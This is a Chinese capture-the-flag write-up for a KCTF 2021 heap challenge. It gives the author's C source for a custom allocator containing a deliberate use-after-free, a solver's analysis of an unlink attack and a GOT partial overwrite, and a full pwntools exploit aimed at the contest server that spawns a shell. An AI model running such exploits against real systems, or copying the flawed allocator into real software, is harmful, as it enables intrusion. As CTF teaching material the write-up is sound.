出题团队简介
出题人介绍:Ex(星盟安全团队团长),初代战队队长,热爱物理学,喜欢钻研技术,痴迷于pwn技术的研究,主要擅长pwn方向。
赛题设计思路
模拟NtHeap的unlink
因为Windows上面的程序跑在 Linux 上面挺麻烦的,所以出题人就自己根据NtHeap的一些结构体规则,简单复刻出一个“只有一个双向循环链表”的Heap结构,由于NtHeap的结构体比较特殊,所以出题人在编写 Heap 结构体操作的时候直接使用宏来实现,对于有源码的出题人本人来说这样的代码还算直观,但是对于没有源码进行分析的师傅来说就比较抽象了。
思路的话和 Windows 的 unlink 很类似,这里就不赘述了。
attachment 文件夹"class="anchor" href="#attachment 文件夹">attachment 文件夹
docker 文件夹"class="anchor" href="#docker 文件夹">docker 文件夹
$ cd docker
$ docker build -t kctf .
$ docker run -dti -p55555:55555 kctf
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mman.h>
typedef struct chunk{
size_t pre_size, size;
struct chunk *fd, *bk;
}chunk;
#define POINT(chk) ((chunk*)(((char *)(chk)) + 0x10))
#define UNPOINT(chk) ((chunk*)(((char *)(chk)) - 0x10))
#define CHUNK_SIZE(size) (((size) & 0xf) ? (((size) | 0xf) + 0x11) : ((size) + 0x10))
#define NEXT_CHUNK(chk) ((chunk *)(((char *)chk) + (chk->size & 0xf0)))
#define PRE_CHUNK(chk) ((chunk *)(((char *)chk) - (chk->pre_size & 0xf0)))
#define ASSERT(value, expected, error_info) if((value) != (expected)){ fprintf(stderr, "Error Report: %sn", (error_info)); exit(1); }
#define SIZE_CHECK(size) ASSERT((!((size) & 0xf0)), 0, "Size check! ")
void *top_chunk;
chunk *link_hint[0x10];
chunk free_list;
void my_free(char *mem)
{
unsigned int size;
chunk *victim, *temp, *next_chunk, *pre_chunk;
victim = (chunk *)(mem - 0x10);
if(mem == NULL)
{
return;
}
ASSERT((size_t)victim & 0xf, 0, "Wrong ptr!");
ASSERT(victim->size & 0xe, 0, "Wrong size!");
next_chunk = NEXT_CHUNK(victim);
// check
if(next_chunk != top_chunk)
{
ASSERT(next_chunk->size & 0xe, 0, "Wrong next_chunk size!");
SIZE_CHECK(next_chunk->size);
if((next_chunk->size & 1))
{
ASSERT(victim->size & 0xf0, next_chunk->pre_size & 0xf0, "Wrong heap! ");
}
}
if(victim->size & 1)
{
pre_chunk = PRE_CHUNK(victim);
ASSERT(victim->size & 0xe, 0, "Wrong pre_chunk size!");
SIZE_CHECK(pre_chunk->size);
ASSERT(victim->pre_size & 0xf0, pre_chunk->size & 0xf0, "Wrong heap! ");
}
size = victim->size & 0xf0;
temp = UNPOINT(free_list.bk);
// insert
if(temp == POINT(&free_list) || (temp->size & 0xf0) >= size)
{
ASSERT(temp->size & 0xe, 0, "Wrong size!");
ASSERT(temp->fd, POINT(&free_list), "Double link list error!");
victim->bk = POINT(temp);
victim->fd = POINT(&free_list);
temp->fd = POINT(victim);
free_list.bk = POINT(victim);
}
else
{
while(temp->bk != POINT(&free_list))
{
temp = UNPOINT(temp->bk);
if((temp->size & 0xf0) >= size)
{
ASSERT(UNPOINT(temp->bk)->fd, POINT(temp), "Duoble link list error!");
ASSERT(UNPOINT(temp->fd)->bk, POINT(temp), "Double link list error!");
victim->bk = POINT(temp);
victim->fd = temp->fd;
UNPOINT(temp->fd)->bk = POINT(victim);
temp->fd = POINT(victim);
}
}
if(temp->bk == POINT(&free_list))
{
ASSERT(UNPOINT(temp->bk)->fd, POINT(temp), "Duoble link list error!");
ASSERT(UNPOINT(temp->fd)->bk, POINT(temp), "Double link list error!");
victim->bk = POINT(&free_list);
victim->fd = POINT(temp);
temp->bk = POINT(victim);
free_list.fd = POINT(victim);
}
}
next_chunk->pre_size = victim->size & 0xf0;
//
next_chunk->size |= 1;
link_hint[(victim->size & 0xf0) >> 4] = victim;
}
void *my_malloc(unsigned int n)
{
unsigned int size;
chunk *temp, *victim, *next_chunk, *pre_chunk;
size = CHUNK_SIZE(n);
temp = UNPOINT(free_list.bk);
while((temp != &free_list) && (temp->size & 0xf0) <= size)
{
if((temp->size & 0xf0) == size)
{
ASSERT(UNPOINT(temp->bk)->fd, POINT(temp), "Double link list error!");
ASSERT(UNPOINT(temp->fd)->bk, POINT(temp), "Double link list error!");
// more checks
if(link_hint[(size & 0xf0) >> 4] == temp)
{
SIZE_CHECK(UNPOINT(temp->bk)->size);
SIZE_CHECK(UNPOINT(temp->fd)->size);
ASSERT(UNPOINT(temp->bk)->size & 0xe, 0, "Wrong heap!");
ASSERT(UNPOINT(temp->fd)->size & 0xe, 0, "Wrong heap!");
victim = UNPOINT(temp->fd);
if(victim != &free_list)
{
next_chunk = NEXT_CHUNK(victim);
// check
if(next_chunk != top_chunk)
{
ASSERT(next_chunk->size & 0xe, 0, "Wrong next_chunk size!");
SIZE_CHECK(next_chunk->size);
if((next_chunk->size & 1))
{
ASSERT(victim->size & 0xf0, next_chunk->pre_size & 0xf0, "Wrong heap! ");
}
}
if(victim->size & 1)
{
pre_chunk = PRE_CHUNK(victim);
ASSERT(victim->size & 0xe, 0, "Wrong pre_chunk size!");
SIZE_CHECK(pre_chunk->size);
ASSERT(victim->pre_size & 0xf0, pre_chunk->size & 0xf0, "Wrong heap! ");
}
}
victim = UNPOINT(temp->bk);
if(victim != &free_list)
{
next_chunk = NEXT_CHUNK(victim);
// check
if(next_chunk != top_chunk)
{
ASSERT(next_chunk->size & 0xe, 0, "Wrong next_chunk size!");
SIZE_CHECK(next_chunk->size);
if((next_chunk->size & 1))
{
ASSERT(victim->size & 0xf0, next_chunk->pre_size & 0xf0, "Wrong heap! ");
}
}
if(victim->size & 1)
{
pre_chunk = PRE_CHUNK(victim);
ASSERT(victim->size & 0xe, 0, "Wrong pre_chunk size!");
SIZE_CHECK(pre_chunk->size);
ASSERT(victim->pre_size & 0xf0, pre_chunk->size & 0xf0, "Wrong heap! ");
}
}
}
// unlink
UNPOINT(temp->bk)->fd = temp->fd;
UNPOINT(temp->fd)->bk = temp->bk;
next_chunk = NEXT_CHUNK(temp);
next_chunk->size &= 0xf0;
return POINT(temp);
}
else
{
temp = UNPOINT(temp->bk);
}
}
temp = top_chunk;
ASSERT(temp->size & 0xf0, 0, "Top chunk error!");
temp->size |= size;
top_chunk = (char *)top_chunk + size;
return POINT(temp);
}
void initial()
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
alarm(60);
}
int read_n(char *buf, int size)
{
int bytes;
bytes = read(0, buf, size);
if(bytes <= 0)
{
exit(EXIT_FAILURE);
}
if(buf[bytes - 1] == 'n')
{
buf[bytes - 1] = ' ';
}
return bytes;
}
unsigned int get_int()
{
char buf[0x100];
memset(buf, 0, sizeof(buf));
read_n(buf, sizeof(buf) - 1);
return atol(buf);
}
#define LENGTH 0x10
char *ptr[LENGTH];
unsigned int ptr_size[LENGTH];
void add()
{
unsigned int index, i, size;
for(i = 0; i < LENGTH; i++)
{
if(!ptr[i])
{
index = i;
break;
}
}
if(index >= LENGTH)
{
puts("No space!");
return;
}
printf("Size: ");
size = get_int();
if(size >= 0xf0)
{
puts("Invalid size!");
return;
}
ptr[index] = my_malloc(size);
ptr_size[index] = size;
printf("Content: ");
read_n(ptr[index], size);
}
void delete()
{
unsigned int index;
printf("Index: ");
index = get_int();
if(index < LENGTH && ptr[index])
{
my_free(ptr[index]);
}
else
{
puts("Invalid index!");
}
}
void edit()
{
unsigned int index;
printf("Index: ");
index = get_int();
if(index < LENGTH && ptr[index])
{
printf("Content: ");
read_n(ptr[index], ptr_size[index]);
}
else
{
puts("Invalid index!");
}
}
int main()
{
char buf[0x100];
int option = 0;
unsigned int length;
initial();
puts("KCTFn");
top_chunk = mmap(NULL, 0x40000, 3, 0x22, -1, 0);
((size_t*)top_chunk)[1] = 0x20;
top_chunk = (size_t*)top_chunk + 4;
free_list.size = 0x20;
free_list.bk = POINT(&free_list);
free_list.fd = POINT(&free_list);
do
{
printf( "1. addn"
"2. deleten"
"3. editn"
"4. exitn"
"Your choice: ");
option = get_int();
switch(option)
{
case 1:
add();
break;
case 2:
delete();
break;
case 3:
edit();
break;
case 4:
break;
default:
puts("Invalid choice!");
break;
}
puts("");
}while(option != 4);
puts("Goodbye!");
return 0;
}
赛题解析
本赛题解析由看雪论坛 mb_mgodlfyn 给出:
$ file main
main: ELF 64-bit LSB executable, ARM aarch64, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-aarch64.so.1, for GNU/Linux 3.7.0, stripped
$ checksec main
Arch: aarch64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
linux aarch64的elf文件,没开pie(所以text段和data段地址固定),没开full relro(所以got表可写),开了NX(数据不可执行,但是否生效要看环境)
菜单堆题
IDA逆向,发现开了Ollvm混淆,找了几个去混淆的工具,要么跑不起来,要么没效果/有问题(求推荐目前最好用的去混淆工具)。
直接硬看,识别出几个函数:
sub_403CE0:add
sub_404400:edit
sub_4041B4:delete
sub_403908:readline,遇到n结尾则改成 ,不以n结尾则不变(所以没有0截断)
sub_403B10:readint,先readline然后对字符串调用strtol
sub_402058:自己实现的malloc
sub_400994:自己实现的free
add:分配的堆块指针保存在0x4161B0开始的char *数组的第一个空位置,最多能保存16个;size保存在0x4160AC开始的unsigned int数组中
edit:给一个[0, 16)的index,如果对应index的位置不为空则可以写入最多size个字节
delete:给一个[0, 16)的index,free掉对应index的堆块
漏洞在delete中,free后没有把指针置零,后续的edit仍能写入,造成UAF。
malloc和free比较复杂,混淆去不掉根本看不动。搭环境动态调试,在ubuntu上可以直接安装:
apt-get install qemu-user libc6-arm64-cross gdb-multiarch
qemu-aarch64 -L /usr/aarch64-linux-gnu ./main
qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./main
gdb-multiarch -ex "target remote localhost:1234"
struct chunk {
uint64_t prev_size;
uint64_t size;
uintptr_t fd;
uintptr_t bk;
};
与glibc的堆很相似,chunk按照内存地址从小到大连续排布,根据prev_size和size可以找到前一个和后一个堆块。
在malloc时,用户传入的size先向上对齐到16字节,然后再加上16字节(用来保存prev_size和size),对应到最终分配的chunk的size。
size域的最低一个bit指示前一个堆块是否空闲,1表示前一个堆块是空闲的,0表示前一个堆块在使用中(与glibc的PREV_INUSE正好相反)。
返回给用户的指针指向chunk的fd域。
free的堆块由fd和bk组成双向链表,注意fd和bk指向的是chunk的fd域的地址而不是头部,全局变量0x416190(也是一个struct chunk结构)是链表的头(与glibc的unsorted_bin类似)。链表为空时0x416190的fd和bk都指向自己的fd域的地址(0x4161A0)。
对同样大小的chunk,0x416110的数组的对应下标保存了指向最后释放的chunk的头部(prev_size域)的指针(类似于glibc的fastbin)。
0x4160A0保存着当前已分配区域的末尾的指针(类似于glibc的topchunk)
free的过程:
把堆块从尾部插入"unsorted bin"(从0x416190的bk开始),然后同时插入对应size的"fastbin"中(如果"fastbin"该位置非空,替换之)
malloc的过程:
1. 如果"fastbin"里该大小的位置非空,则优先从这里取chunk;
2. 否则,倒序遍历"unsorted bin"链表(从0x416190的bk开始),找第一个size与待分配大小完全相等的堆块,如果找到,将其从双向链表解链(unlink),返回;
3. 否则,从"topchunk"分配堆块,然后抬升0x4160A0指针。
整个堆分配器没有堆块的拆分与合并
UAF能任意覆盖fd和bk(注意输入没有0截断),很容易想到2.23时代针对双向链表的经典攻击方法unlink。
假设当前堆块是P,则把P从双链表解链的操作为:
NEXT = P->fd
PREV = P->bk
NEXT -> bk = PREV
PREV->fd = NEXT
因此如果能控制P->fd和P->bk,就有机会实现任意写。但是,malloc和free中有很多检查需要bypass掉:
"Size check!"
"Wrong heap! "
"Wrong ptr!"
"Wrong size!"
"Wrong next_chunk size!"
"Wrong pre_chunk size!"
"Double link list error!"
"Top chunk error!"
看描述,这些检查其实glibc里也有,只是不知道题目里的触发时机和条件是否和glibc一样。
堆块的分配原理可以通过动态调试看出来,但这些检查就不容易看出来了(因为正常情况下不会触发)。OLLVM的恶心之处在这里才真正体现出来,如果没有混淆,通过静态分析能很容易找出这些检查在什么情况下会触发
混淆去不掉,只好猜+动态调试验证。
"Double link list error!":双链表完整性检查,一般发生在即将解链的时候,检查P->fd->bk == P && P->bk->fd == P。题目里的fd和bk指向的是chunk的fd域,因此有一点微调,但基本一致,可以用经典方法绕过。
"Size check!":在用2.23常规堆题的经典unlink方法试验时总是触发这个错误,完全搞不明白,但好像把待unlink的堆块的fd指向的堆块的下一个堆块的size赋值正确就能通过这个检查?
另外注意到malloc里有很对对size域& 0xF0的操作很可疑,因此怀疑size域实际上只有最低的一个字节有用,试验发现确实如此。
下面开始构造,这是全局的content数组:
0x4161B0:index 0
0x4161B8:index 1
0x4161C0:index 2
0x4161C8:index 3
0x4161D0:index 4 fakechunk2
0x4161D8:index 5 fakechunk2
0x4161E0:index 6 fakechunk2
0x4161E8:index 7 fakechunk2 -> 0x4161C0 (-> changed to 0x416200)
0x4161F0:index 8 fakechunk3
0x4161F8:index 9 fakechunk3
0x416200:index 10 fakechunk3 -> 0x4161C0 (-> changed to 0x4161E0)
0x416208:index 11 fakechunk3
0x416210:index 12 fakechunk4
0x416218:index 13 fakechunk4
0x416220:index 14
0x416228:index 15
注意到第一次分配的堆块的地址总是0x30结尾,因此先add(0xe0, "0")分配一个0xf0大小的堆块,这样第二个堆块的地址就会以0x120结尾。
然后不断的add(0x10)再delete,将index 1到index 13的全部填充为同一个大小为0x20的堆块地址,且这个地址恰好也以0x20结尾。
然后直接用libc2.23时代的经典unlink攻击:UAF修改这个堆块的fd为0x4161E0,bk为0x416200(因为程序没开pie,所以这两个地址是固定的)。
注意(P->fd - 0x10)->bk = 0x4161D0->bk = (0x4161E8) = P, (P->bk - 0x10)->fd = 0x4161F0->fd = *(0x416200) = P,满足双向链表的完整性检查。
另外保证0x4161D8、0x4161F8、0x416218三个地方& 0xF0以后等于0x20,保证不出现"Size Check!"。
(实际上应该用不到这么多堆块,这里为了不深究检查的触发条件就多构造了一些值)
然后分配一个新的0x20大小的堆块(malloc(0x10)),触发unlink,结果是0x416200处的值被修改为了0x4161E0,0x4161E8处的值被修改为了0x416200。
至此得到了任意写:(受限于readline的n截断,待写入的地址和值不能包含"n")。
先通过index 10把0x4161E0(index6)的值改为目标地址,再通过index6向目标地址写内容。
下一步是如何通过任意写获得shell,在题目给出libc之后变得非常简单:
查到strtol在libc的偏移是0x358a8,system在libc的偏移是0x3dda8,二者相差不超过0x10000,因此经过地址随机化之后有概率保证地址的高6字节都相同。
对于地址的低16位,其中低12位是不受随机化影响的,剩下的四位可以爆破
利用任意写,只改低2个字节(partial overwrite,也是经典方法),有1/16的概率把strtol的got表值覆盖为system函数的地址。
而strtol在readint时被调用,第一个参数是给菜单的输入,是完全可控的,可以输入"/bin/sh"获得shell。
最终的EXP:(1/16的成功率)
from pwn import *
def add(size, content):
global s
s.sendlineafter("1. addn2. deleten3. editn4. exitnYour choice: ", "1")
s.sendlineafter("Size: ", str(size))
s.sendafter("Content: ", content)
def delete(index):
global s
s.sendlineafter("1. addn2. deleten3. editn4. exitnYour choice: ", "2")
s.sendlineafter("Index: ", str(index))
def edit(index, content):
global s
s.sendlineafter("1. addn2. deleten3. editn4. exitnYour choice: ", "3")
s.sendlineafter("Index: ", str(index))
s.sendafter("Content: ", content)
s = remote("121.36.145.157", 55555)
add(0xe0, "0")
add(0x10, "1")
delete(1)
add(0x10, "2")
delete(2)
add(0x10, "3")
delete(3)
add(0x10, "4")
delete(4)
add(0x10, "5")
delete(5)
add(0x10, "6")
delete(6)
add(0x10, "7")
delete(7)
add(0x10, "8")
delete(8)
add(0x10, "9")
delete(9)
add(0x10, "10")
delete(10)
add(0x10, "11")
delete(11)
add(0x10, "12")
delete(12)
add(0x10, "13")
delete(13)
edit(4, p64(0x4161E0)+p64(0x416200))
add(0x10, "14")
def writeq(addr, value):
edit(10, p64(addr))
edit(6, p64(value) if type(value)==int else value)
def writebytes(addr, b):
for i in range(0, len(b), 8):
writeq(addr+i, b[i:i+8])
writebytes(0x416040, b"xa8xdd")
s.sendlineafter("1. addn2. deleten3. editn4. exitnYour choice: ", "/bin/sh")
s.interactive()
后记:
因为题目刚开始没给libc,所以在获得任意写之后首先思考的是如何leak,然而程序里没有输出堆块内容的函数。
考虑过通过修改stdout泄露、dl-resolve直接搞system,觉得都不可行。
利用任意写改掉got表函数地址的最低字节然后看程序能否正常运行,搞出了部分函数的最低字节地址,然后去libc database搜索并没有结果(看了题目最后给出的libc,是linaro的,大概database里没收录)。
考虑题目是不是偷懒用qemu-aarch64启动的(如果是这样,NX和ASLR都是无效的,也就是说可以直接在bss段写shellcode跳过去),本地成功了远程不行,沟通后确认远程是用qemu-system-aarch64启动的(偷鸡失败)。
直接猜system函数低12位的地址爆破:看了多个版本的libc,strtol和system的距离都很近,这样只要猜对就有1/16的概率成功,而aarch64 libc的导出函数都是0或8结尾,所以开512个进程爆破应该是可以接受的。
太过暴力,想了想还是决定先放了,厚颜无耻的询问能否提供libc(打算如果不给再爆破),然后出题方很大方的给了。
题目不给libc应该是想考察如何获得任意读。这一点最开始确实没反应过来,沟通后才恍然大悟:
前面获得shell的方法是把strtol覆盖为system,利用第一个参数可控传入"/bin/sh"字符串。
由于第一个参数可控,如果把strtol覆盖为printf在plt表的地址,就得到了一个格式化字符串漏洞(而且格式化串在栈上,还能反复利用),可以任意地址读/写。
利用任意读,可以遍历linkmap获得libc的基地址(linkmap的地址保存在got表前面,0x415ff0处,linkmap+0x18是指向下一个linkmap的指针,linkmap+0x8是指向共享库的名称的指针,limkmap+0x0是共享库的基地址),然后dump出libc的文件头或者用pwntools的DynELF获得system函数的偏移。
往期解析
1. 看雪·深信服 2021 KCTF 春季赛 | 第二题设计思路及解析
球分享
球点赞
球在看
本文始发于微信公众号(看雪学院):看雪·深信服 2021 KCTF 春季赛 | 第九题设计思路及解析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论